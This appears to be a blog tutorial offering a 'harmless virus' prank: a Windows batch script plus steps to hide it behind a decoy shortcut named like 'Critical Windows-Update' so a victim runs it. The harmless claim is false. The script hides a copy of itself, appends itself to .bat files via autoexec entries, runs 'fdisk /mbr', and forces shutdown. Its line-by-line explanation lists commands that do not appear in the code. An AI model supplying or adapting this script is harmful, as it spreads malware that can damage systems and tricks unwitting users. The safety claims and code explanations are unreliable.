Create a harmless virus

/
0 Comments
Understand the following: It's just a harmless "virus". It only prints some scary messages and finally shuts down the computer. As you start it again, your computer will work as it did before!
Read the virus: Below you see the Computer-Code that is executed as you start the virus. The lines that start with REM are comments that the computer ignores. The explain you what the above line does.

Code:

@echo off
title %0
rem conditional check.
echo welcome to this wonderful program! please wait while I delete all your files!
rem infection of the user
copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
echo echo virus detected! >>c:\windows\system32\autoexec.NT
echo pause >>c:\windows\system32\autoexec.NT
echo NT core:infected!
echo echo shame on you! >>c:\autoexec.bat
echo echo system hault-virus identified! >>c:\autoexec.bat
echo chkdsk >>c:\autoexec.bat
echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u l
fdisk /mbr
shutdown -s -t 03 -c "windows has shut down because the last service has incountered a write fault at 0x00000000000000000000000000000000000"

This code Details:

@echo off
color 1a (Changes the colour)
echo (Displays a text)
echo: (leaves a line)
ping -n 2 127.0.0.1>nul (pings your localhost - nothing much)
shutdown.exe (shutdown)


Preparing the Virus:

Read and understand the warnings!
Open up Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
Copy and Paste the Code of the "virus" into Notepad
Click File -> Save as
Decide for a location to save the fake-virus. You should chose a location where the user won't find the file, so saving it on the desktop would be a bad idea!
Change ".txt" to "All files" in the file type drop-down menu
Chose a harmless filename. Replace the ".txt" at the with ".bat"
Click on save and close Notepad.

Making a fake Icon:

Now, that we have our Virus saved, we should prepare a decoy:

Right click on the desktop and go over to "new" then click "short cut".
For the location of the short cut chose our Virus.
Click next
Give the shortcut a name that your victim will click on. ("Music for free", "My Documents", "Critical Windows-Update" "Get Free Cinema-Tickets" or "Internet Explorer")
Click on "Finish"
Right click on the shortcut you have just made and chose "properties". Now click on the "chose icon" button and scroll through the list of icons.
Decide for one of the icons that fits well to the name, chose it by clicking on it and hit OK twice.

Shock your Victim:

Now it's time to sit back and enjoy the show!
You should really try not to laugh before the computer shuts down! (Think of sth. said)
As the computer goes out, you should check whether your friend is okay and then you may start laughing and start the computer again.

Abort Shutdown-Countdown:

Sometimes it might be necessary to stop the countdown before the computer shuts down. Here's how to:

Open the start menu.
Click Run
Type "shutdown.exe -a" and press enter/return.


You may also like

Popular Posts